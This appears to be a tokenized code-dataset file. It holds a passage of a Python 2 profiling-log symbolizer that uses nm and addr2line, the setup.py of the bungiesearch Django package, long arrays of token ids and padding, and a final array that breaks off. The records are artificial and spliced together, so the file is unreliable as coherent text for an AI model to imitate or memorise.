int(nm_symbols[nm_index].split()[0], 16)): if len(nm_symbols[nm_index].split()) == 4: fnames.append(nm_symbols[nm_index].split()[3]) nm_index += 1 address_map[addr] = fnames unique_addrs.append((addr, size)) else: nm_index += 1 return (unique_addrs, address_map) class SymbolNotFoundException(Exception): def __init__(self,value): self.value = value def __str__(self): return repr(self.value) def BinarySearchAddresses(addr, start, end, arr): """Find starting address of a symbol at a particular address. The reason we can not directly use the address provided by the log file is that the log file may give an address after the start of the symbol. The logged address is often one byte after the start. By using this search function rather than just subtracting one from the logged address allows the logging instrumentation to log any address in a function. Args: addr: the address being searched for start: the starting index for the binary search end: the ending index for the binary search arr: the list being searched containing tuple of address and size Returns: the starting address of the symbol at address addr Raises: Exception: if address not found. Functions expects all logged addresses to be found """ # print "addr: " + str(addr) + " start: " + str(start) + " end: " + str(end) if start >= end or start == end - 1: # arr[i] is a tuple of address and size. Check if addr inside range if addr >= arr[start][0] and addr < arr[start][0] + arr[start][1]: return arr[start][0] elif addr >= arr[end][0] and addr < arr[end][0] + arr[end][1]: return arr[end][0] else: raise SymbolNotFoundException(addr) else: halfway = (start + end) / 2 (nm_addr, size) = arr[halfway] # print "nm_addr: " + str(nm_addr) + " halfway: " + str(halfway) if addr >= nm_addr and addr < nm_addr + size: return nm_addr elif addr < nm_addr: return BinarySearchAddresses(addr, start, halfway-1, arr) else: # Condition (addr >= nm_addr + size) must be true. return BinarySearchAddresses(addr, halfway+1, end, arr) def FindFunctions(addr, unique_addrs, address_map): """Find function symbol names at address addr.""" return address_map[BinarySearchAddresses(addr, 0, len(unique_addrs) - 1, unique_addrs)] def AddrToLine(addr, lib_file): """Use addr2line to determine line info of a particular address.""" cmd = ['addr2line', '-f', '-e', lib_file, hex(addr)] p = subprocess.Popen(cmd, stdout=subprocess.PIPE) output = (p.communicate()[0]).split('\n') line = output[0] index = 1 while index < len(output): line = line + ':' + output[index] index += 1 return line def main(): """Write output for profiled run to standard out. The format of the output depends on the output type specified as the third command line argument. The default output type is to symbolize the addresses of the functions called. """ parser = optparse.OptionParser('usage: %prog [options] log_file lib_file') parser.add_option('-t', '--outputType', dest='output_type', default='symbolize', type='string', help='lineize or symbolize or orderfile') # Option for output type. The log file and lib file arguments are required # by the script and therefore are not options. (options, args) = parser.parse_args() if len(args) != 2: parser.error('expected 2 args: log_file lib_file') (log_file, lib_file) = args output_type = options.output_type lib_name = lib_file.split('/')[-1].strip() log_file_lines = map(string.rstrip, open(log_file).readlines()) call_info = ParseLogLines(log_file_lines) (unique_addrs, address_map) = ParseLibSymbols(lib_file) # Check for duplicate addresses in the log file, and print a warning if # duplicates are found. The instrumentation that produces the log file # should only print the first time a function is entered. addr_list = [] for call in call_info: addr = call[3] if addr not in addr_list: addr_list.append(addr) else: print('WARNING: Address ' + hex(addr) + ' (line= ' + AddrToLine(addr, lib_file) + ') already profiled.') for call in call_info: if output_type == 'lineize': symbol = AddrToLine(call[3], lib_file) print(str(call[0]) + ' ' + str(call[1]) + '\t' + str(call[2]) + '\t' + symbol) elif output_type == 'orderfile': try: symbols = FindFunctions(call[3], unique_addrs, address_map) for symbol in symbols: print '.text.' + symbol print '' except SymbolNotFoundException as e: sys.stderr.write('WARNING: Did not find function in binary. addr: ' + hex(addr) + '\n') else: try: symbols = FindFunctions(call[3], unique_addrs, address_map) print(str(call[0]) + ' ' + str(call[1]) + '\t' + str(call[2]) + '\t' + symbols[0]) first_symbol = True for symbol in symbols: if not first_symbol: print '\t\t\t\t\t' + symbol else: first_symbol = False except SymbolNotFoundException as e: sys.stderr.write('WARNING: Did not find function in binary. addr: ' + hex(addr) + '\n') if __name__ == '__main__': main()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1898, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 16594, 656, 13559, 943, 570, 13584, 701, 286, 2279, 1939, 493, 14498, 425, 14, 199, 199, 13735, 282, 943, 570, 436, 314, 3366, 3769, 4690, 68, 334, 69, 14, 71, 14, 7286, 12, 5709, 199, 4342, 395, 314, 2884, 883, 7389, 7795, 3365, 4704, 26, 413, 9, 6698, 367, 314, 199, 7423, 12, 499, 9, 805, 436, 1004, 5579, 367, 314, 7149, 12, 503, 650, 9, 376, 1865, 570, 14, 199, 624, 199, 199, 646, 8691, 199, 646, 747, 199, 646, 1059, 199, 646, 3873, 199, 646, 984, 421, 199, 318, 6077, 2445, 9863, 8, 793, 63, 493, 63, 1278, 304, 523, 408, 4003, 282, 943, 570, 13584, 701, 314, 4690, 68, 1255, 402, 824, 3580, 14, 819, 3033, 26, 272, 943, 63, 493, 63, 1278, 26, 1625, 402, 2385, 315, 943, 570, 13584, 701, 4690, 68, 1255, 272, 1973, 63, 354, 26, 3555, 503, 7286, 3035, 6698, 339, 6423, 674, 365, 376, 2893, 402, 282, 7425, 943, 570, 26, 272, 5238, 1184, 69, 1493, 13, 2528, 69, 2942, 1493, 519, 13, 9290, 378, 9084, 330, 19, 26, 996, 10574, 2114, 420, 1973, 9887, 1345, 14, 1152, 272, 20091, 755, 675, 1259, 420, 4422, 26, 273, 8273, 14887, 259, 2562, 272, 13910, 272, 4944, 1079, 1407, 2760, 1184, 13734, 2010, 1651, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 7320, 67, 272, 4944, 1079, 1407, 2760, 1184, 13734, 2010, 1342, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 16, 2871, 20, 272, 4944, 1079, 1407, 2760, 1184, 1520, 2534, 8342, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 16, 69, 19, 67, 272, 4944, 1079, 1407, 2760, 1184, 1520, 2534, 19414, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 1780, 3776, 272, 7729, 819, 1803, 26, 272, 1240, 63, 815, 769, 543, 769, 402, 6346, 402, 314, 1475, 334, 3321, 12, 675, 67, 12, 1240, 1305, 12, 272, 805, 2287, 2797, 9, 523, 408, 523, 1240, 63, 1278, 275, 942, 523, 965, 63, 8924, 275, 756, 523, 4169, 63, 928, 275, 378, 523, 1004, 275, 943, 63, 493, 63, 1278, 59, 16, 61, 523, 702, 480, 82, 13, 9290, 2, 315, 1004, 9, 523, 1284, 63, 1080, 275, 1004, 14, 1623, 21950, 523, 4169, 63, 928, 275, 1109, 8, 604, 1491, 500, 63, 1080, 467, 3193, 9, 523, 367, 1004, 315, 943, 63, 493, 63, 1278, 59, 18, 10688, 523, 327, 870, 6318, 8, 2611, 63, 928, 9, 272, 1504, 275, 1004, 14, 1294, 342, 272, 340, 822, 8, 955, 9, 508, 841, 26, 489, 1240, 63, 1278, 14, 740, 8, 955, 9, 819, 327, 7905, 3326, 370, 1109, 315, 1504, 14, 523, 1240, 63, 815, 275, 942, 523, 367, 1240, 63, 604, 315, 1240, 63, 1278, 26, 272, 334, 3321, 63, 3954, 12, 675, 67, 63, 3954, 9, 275, 2341, 8, 442, 12, 1240, 63, 604, 59, 16, 26, 18, 566, 272, 3213, 18387, 63, 344, 275, 1240, 63, 604, 59, 18, 61, 272, 5552, 275, 1109, 8, 1250, 63, 604, 59, 19, 467, 3193, 9, 272, 340, 4169, 63, 928, 665, 5552, 26, 489, 5552, 4862, 4169, 63, 928, 489, 1240, 63, 815, 14, 740, 1332, 3321, 63, 3954, 12, 675, 67, 63, 3954, 12, 3213, 18387, 63, 344, 12, 5552, 430, 819, 372, 1240, 63, 815, 421, 199, 318, 6077, 4728, 20574, 8, 773, 63, 493, 304, 523, 408, 1002, 1072, 687, 3879, 16751, 436, 20595, 316, 367, 1318, 6698, 14, 819, 3033, 26, 272, 1973, 63, 493, 26, 314, 3555, 503, 7286, 626, 3509, 314, 4690, 68, 1233, 819, 1803, 26, 272, 769, 402, 3355, 3747, 7149, 436, 5226, 1568, 402, 805, 6698, 272, 315, 1973, 63, 493, 436, 2341, 402, 7149, 370, 1006, 6698, 737, 282, 6770, 2287, 523, 408, 523, 2088, 275, 788, 10756, 297, 2475, 51, 297, 2475, 78, 297, 1973, 63, 493, 61, 523, 16751, 63, 80, 275, 3873, 14, 7942, 8, 1760, 12, 3839, 29, 5781, 14, 6089, 9, 523, 1072, 275, 16751, 63, 80, 14, 10664, 3430, 16, 61, 523, 16751, 63, 1278, 275, 1072, 14, 1294, 2258, 78, 358, 819, 16751, 63, 7450, 275, 942, 523, 367, 16751, 63, 604, 315, 16751, 63, 1278, 26, 272, 340, 1263, 8, 495, 315, 16751, 63, 604, 367, 620, 315, 661, 307, 1656, 283, 644, 1656, 283, 377, 283, 2298, 489, 16751, 63, 7450, 14, 740, 8, 10756, 63, 604, 9, 819, 16751, 63, 1080, 275, 378, 523, 3747, 63, 18942, 275, 942, 523, 2287, 63, 1130, 275, 1052, 523, 1830, 16751, 63, 1080, 665, 822, 8, 10756, 63, 7450, 304, 339, 327, 982, 314, 2582, 402, 314, 3715, 1004, 365, 440, 841, 12, 2066, 652, 1630, 440, 1395, 1006, 314, 272, 327, 2556, 4346, 370, 4678, 656, 13559, 334, 73, 14, 69, 14, 2287, 12, 1568, 436, 5272, 536, 680, 272, 340, 822, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 1012, 508, 841, 26, 489, 334, 2697, 12, 1568, 9, 275, 359, 442, 8, 88, 12, 3193, 9, 367, 671, 315, 16751, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 3430, 16, 26, 18, 2677, 2541, 327, 14326, 6698, 1443, 506, 737, 314, 2011, 2287, 14, 221, 961, 365, 886, 370, 5162, 316, 489, 327, 4224, 701, 314, 6365, 14, 221, 9336, 2337, 365, 949, 4340, 370, 506, 3238, 1314, 1373, 1990, 489, 327, 2797, 315, 4690, 68, 1255, 12, 781, 911, 4678, 656, 13559, 370, 2387, 1006, 5272, 1561, 737, 489, 327, 282, 6770, 2287, 14, 489, 289, 1247, 275, 942, 489, 1830, 334, 10756, 63, 1080, 665, 822, 8, 10756, 63, 7450, 9, 436, 1467, 5552, 508, 1109, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 3430, 16, 467, 3193, 2298, 267, 340, 822, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 1012, 508, 841, 26, 881, 289, 1247, 14, 740, 8, 10756 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1898, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 16594, 656, 13559, 943, 570, 13584, 701, 286, 2279, 1939, 493, 14498, 425, 14, 199, 199, 13735, 282, 943, 570, 436, 314, 3366, 3769, 4690, 68, 334, 69, 14, 71, 14, 7286, 12, 5709, 199, 4342, 395, 314, 2884, 883, 7389, 7795, 3365, 4704, 26, 413, 9, 6698, 367, 314, 199, 7423, 12, 499, 9, 805, 436, 1004, 5579, 367, 314, 7149, 12, 503, 650, 9, 376, 1865, 570, 14, 199, 624, 199, 199, 646, 8691, 199, 646, 747, 199, 646, 1059, 199, 646, 3873, 199, 646, 984, 421, 199, 318, 6077, 2445, 9863, 8, 793, 63, 493, 63, 1278, 304, 523, 408, 4003, 282, 943, 570, 13584, 701, 314, 4690, 68, 1255, 402, 824, 3580, 14, 819, 3033, 26, 272, 943, 63, 493, 63, 1278, 26, 1625, 402, 2385, 315, 943, 570, 13584, 701, 4690, 68, 1255, 272, 1973, 63, 354, 26, 3555, 503, 7286, 3035, 6698, 339, 6423, 674, 365, 376, 2893, 402, 282, 7425, 943, 570, 26, 272, 5238, 1184, 69, 1493, 13, 2528, 69, 2942, 1493, 519, 13, 9290, 378, 9084, 330, 19, 26, 996, 10574, 2114, 420, 1973, 9887, 1345, 14, 1152, 272, 20091, 755, 675, 1259, 420, 4422, 26, 273, 8273, 14887, 259, 2562, 272, 13910, 272, 4944, 1079, 1407, 2760, 1184, 13734, 2010, 1651, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 7320, 67, 272, 4944, 1079, 1407, 2760, 1184, 13734, 2010, 1342, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 16, 2871, 20, 272, 4944, 1079, 1407, 2760, 1184, 1520, 2534, 8342, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 16, 69, 19, 67, 272, 4944, 1079, 1407, 2760, 1184, 1520, 2534, 19414, 258, 8685, 1555, 26, 709, 1342, 10552, 6568, 378, 88, 6576, 69, 1780, 3776, 272, 7729, 819, 1803, 26, 272, 1240, 63, 815, 769, 543, 769, 402, 6346, 402, 314, 1475, 334, 3321, 12, 675, 67, 12, 1240, 1305, 12, 272, 805, 2287, 2797, 9, 523, 408, 523, 1240, 63, 1278, 275, 942, 523, 965, 63, 8924, 275, 756, 523, 4169, 63, 928, 275, 378, 523, 1004, 275, 943, 63, 493, 63, 1278, 59, 16, 61, 523, 702, 480, 82, 13, 9290, 2, 315, 1004, 9, 523, 1284, 63, 1080, 275, 1004, 14, 1623, 21950, 523, 4169, 63, 928, 275, 1109, 8, 604, 1491, 500, 63, 1080, 467, 3193, 9, 523, 367, 1004, 315, 943, 63, 493, 63, 1278, 59, 18, 10688, 523, 327, 870, 6318, 8, 2611, 63, 928, 9, 272, 1504, 275, 1004, 14, 1294, 342, 272, 340, 822, 8, 955, 9, 508, 841, 26, 489, 1240, 63, 1278, 14, 740, 8, 955, 9, 819, 327, 7905, 3326, 370, 1109, 315, 1504, 14, 523, 1240, 63, 815, 275, 942, 523, 367, 1240, 63, 604, 315, 1240, 63, 1278, 26, 272, 334, 3321, 63, 3954, 12, 675, 67, 63, 3954, 9, 275, 2341, 8, 442, 12, 1240, 63, 604, 59, 16, 26, 18, 566, 272, 3213, 18387, 63, 344, 275, 1240, 63, 604, 59, 18, 61, 272, 5552, 275, 1109, 8, 1250, 63, 604, 59, 19, 467, 3193, 9, 272, 340, 4169, 63, 928, 665, 5552, 26, 489, 5552, 4862, 4169, 63, 928, 489, 1240, 63, 815, 14, 740, 1332, 3321, 63, 3954, 12, 675, 67, 63, 3954, 12, 3213, 18387, 63, 344, 12, 5552, 430, 819, 372, 1240, 63, 815, 421, 199, 318, 6077, 4728, 20574, 8, 773, 63, 493, 304, 523, 408, 1002, 1072, 687, 3879, 16751, 436, 20595, 316, 367, 1318, 6698, 14, 819, 3033, 26, 272, 1973, 63, 493, 26, 314, 3555, 503, 7286, 626, 3509, 314, 4690, 68, 1233, 819, 1803, 26, 272, 769, 402, 3355, 3747, 7149, 436, 5226, 1568, 402, 805, 6698, 272, 315, 1973, 63, 493, 436, 2341, 402, 7149, 370, 1006, 6698, 737, 282, 6770, 2287, 523, 408, 523, 2088, 275, 788, 10756, 297, 2475, 51, 297, 2475, 78, 297, 1973, 63, 493, 61, 523, 16751, 63, 80, 275, 3873, 14, 7942, 8, 1760, 12, 3839, 29, 5781, 14, 6089, 9, 523, 1072, 275, 16751, 63, 80, 14, 10664, 3430, 16, 61, 523, 16751, 63, 1278, 275, 1072, 14, 1294, 2258, 78, 358, 819, 16751, 63, 7450, 275, 942, 523, 367, 16751, 63, 604, 315, 16751, 63, 1278, 26, 272, 340, 1263, 8, 495, 315, 16751, 63, 604, 367, 620, 315, 661, 307, 1656, 283, 644, 1656, 283, 377, 283, 2298, 489, 16751, 63, 7450, 14, 740, 8, 10756, 63, 604, 9, 819, 16751, 63, 1080, 275, 378, 523, 3747, 63, 18942, 275, 942, 523, 2287, 63, 1130, 275, 1052, 523, 1830, 16751, 63, 1080, 665, 822, 8, 10756, 63, 7450, 304, 339, 327, 982, 314, 2582, 402, 314, 3715, 1004, 365, 440, 841, 12, 2066, 652, 1630, 440, 1395, 1006, 314, 272, 327, 2556, 4346, 370, 4678, 656, 13559, 334, 73, 14, 69, 14, 2287, 12, 1568, 436, 5272, 536, 680, 272, 340, 822, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 1012, 508, 841, 26, 489, 334, 2697, 12, 1568, 9, 275, 359, 442, 8, 88, 12, 3193, 9, 367, 671, 315, 16751, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 3430, 16, 26, 18, 2677, 2541, 327, 14326, 6698, 1443, 506, 737, 314, 2011, 2287, 14, 221, 961, 365, 886, 370, 5162, 316, 489, 327, 4224, 701, 314, 6365, 14, 221, 9336, 2337, 365, 949, 4340, 370, 506, 3238, 1314, 1373, 1990, 489, 327, 2797, 315, 4690, 68, 1255, 12, 781, 911, 4678, 656, 13559, 370, 2387, 1006, 5272, 1561, 737, 489, 327, 282, 6770, 2287, 14, 489, 289, 1247, 275, 942, 489, 1830, 334, 10756, 63, 1080, 665, 822, 8, 10756, 63, 7450, 9, 436, 1467, 5552, 508, 1109, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 3430, 16, 467, 3193, 2298, 267, 340, 822, 8, 10756, 63, 7450, 59, 10756, 63, 1080, 1055, 1294, 1012, 508, 841, 26, 881, 289, 1247, 14, 740, 8, 10756, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
afrancis13/bungiesearch
setup.py
1
1554
# -*- coding: utf-8 -*- import sys from os.path import join, dirname from setuptools import setup, find_packages VERSION = (1, 1, 0) __version__ = VERSION __versionstr__ = '.'.join(map(str, VERSION)) long_description = 'Should have been loaded from README.md.' with open(join(dirname(__file__), 'README.md')) as f: long_description = f.read().strip() install_requires = [ 'django>=1.6', 'elasticsearch-dsl>=0.0.4', 'python-dateutil', 'six', ] tests_require = [] # use external unittest for 2.6 if sys.version_info[:2] == (2, 6): tests_require.append('unittest2') setup( name="bungiesearch", description="A Django elasticsearch wrapper and helper using elasticsearch-dsl-py high level library.", license="BSD-3", url="https://github.com/sparrho/bungiesearch", long_description=long_description, version=__versionstr__, author="Christopher Rabotin", author_email="christopher@sparrho.com", packages=find_packages( where='.', exclude=('bungiesearch/tests',) ), classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved :: BSD License", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Framework :: Django" ], keywords="elasticsearch haystack django bungiesearch sparrho", install_requires=install_requires, dependency_links=['https://github.com/elasticsearch/elasticsearch-dsl-py#egg=elasticsearch-dsl-py'], )
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 984, 199, 504, 747, 14, 515, 492, 4263, 12, 9017, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 199, 4612, 275, 334, 17, 12, 413, 12, 378, 9, 199, 363, 1023, 363, 275, 15945, 199, 363, 1023, 495, 363, 275, 15671, 904, 8, 1130, 8, 495, 12, 15945, 430, 199, 199, 2809, 63, 1802, 275, 283, 11408, 1172, 2757, 6511, 687, 27781, 14, 1064, 3530, 199, 1045, 1551, 8, 904, 8, 3475, 3460, 493, 10139, 283, 18195, 14, 1064, 1333, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 739, 1252, 1913, 342, 421, 199, 3174, 63, 6537, 275, 359, 272, 283, 1176, 8119, 17, 14, 22, 297, 272, 283, 25651, 13, 795, 76, 8119, 16, 14, 16, 14, 20, 297, 272, 283, 1548, 13, 602, 1974, 297, 272, 283, 4174, 297, 199, 61, 199, 199, 2219, 63, 4365, 275, 942, 199, 199, 3, 675, 5957, 2882, 367, 499, 14, 22, 199, 692, 984, 14, 1023, 63, 815, 1491, 18, 61, 508, 334, 18, 12, 1227, 304, 272, 2295, 63, 4365, 14, 740, 360, 2796, 18, 358, 199, 199, 2758, 8, 272, 536, 628, 66, 10335, 1873, 1733, 401, 272, 1369, 628, 33, 5634, 24380, 1733, 4975, 436, 5922, 1808, 24380, 1733, 13, 795, 76, 13, 647, 4721, 2166, 3555, 4765, 272, 4190, 628, 15400, 13, 19, 401, 272, 1166, 628, 2859, 921, 5031, 14, 957, 15, 22502, 10412, 15, 66, 10335, 1873, 1733, 401, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 12, 272, 1015, 18971, 1023, 495, 3108, 272, 4132, 628, 1049, 322, 2379, 2523, 820, 371, 357, 262, 401, 272, 4132, 63, 2123, 628, 335, 322, 2379, 2523, 32, 22502, 10412, 14, 957, 401, 272, 6117, 29, 1623, 63, 5154, 8, 267, 2382, 534, 3130, 267, 5760, 7782, 66, 10335, 1873, 1733, 15, 2219, 9538, 272, 2318, 272, 19137, 1524, 267, 298, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 401, 267, 298, 23910, 23975, 3800, 23493, 401, 267, 298, 3761, 3800, 25718, 26330, 3800, 6289, 844, 401, 267, 298, 23699, 6187, 3800, 4403, 1010, 7106, 401, 267, 298, 11411, 8466, 3800, 2018, 3800, 499, 401, 267, 298, 16442, 3800, 5634, 2, 272, 2156, 272, 7681, 628, 25651, 394, 1187, 2340, 1639, 330, 10335, 1873, 1733, 28668, 10412, 401, 272, 3907, 63, 6537, 29, 3174, 63, 6537, 12, 272, 5936, 63, 4614, 2968, 2859, 921, 5031, 14, 957, 15, 25651, 15, 25651, 13, 795, 76, 13, 647, 3, 5799, 29, 25651, 13, 795, 76, 13, 647, 995, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 984, 199, 504, 747, 14, 515, 492, 4263, 12, 9017, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 199, 4612, 275, 334, 17, 12, 413, 12, 378, 9, 199, 363, 1023, 363, 275, 15945, 199, 363, 1023, 495, 363, 275, 15671, 904, 8, 1130, 8, 495, 12, 15945, 430, 199, 199, 2809, 63, 1802, 275, 283, 11408, 1172, 2757, 6511, 687, 27781, 14, 1064, 3530, 199, 1045, 1551, 8, 904, 8, 3475, 3460, 493, 10139, 283, 18195, 14, 1064, 1333, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 739, 1252, 1913, 342, 421, 199, 3174, 63, 6537, 275, 359, 272, 283, 1176, 8119, 17, 14, 22, 297, 272, 283, 25651, 13, 795, 76, 8119, 16, 14, 16, 14, 20, 297, 272, 283, 1548, 13, 602, 1974, 297, 272, 283, 4174, 297, 199, 61, 199, 199, 2219, 63, 4365, 275, 942, 199, 199, 3, 675, 5957, 2882, 367, 499, 14, 22, 199, 692, 984, 14, 1023, 63, 815, 1491, 18, 61, 508, 334, 18, 12, 1227, 304, 272, 2295, 63, 4365, 14, 740, 360, 2796, 18, 358, 199, 199, 2758, 8, 272, 536, 628, 66, 10335, 1873, 1733, 401, 272, 1369, 628, 33, 5634, 24380, 1733, 4975, 436, 5922, 1808, 24380, 1733, 13, 795, 76, 13, 647, 4721, 2166, 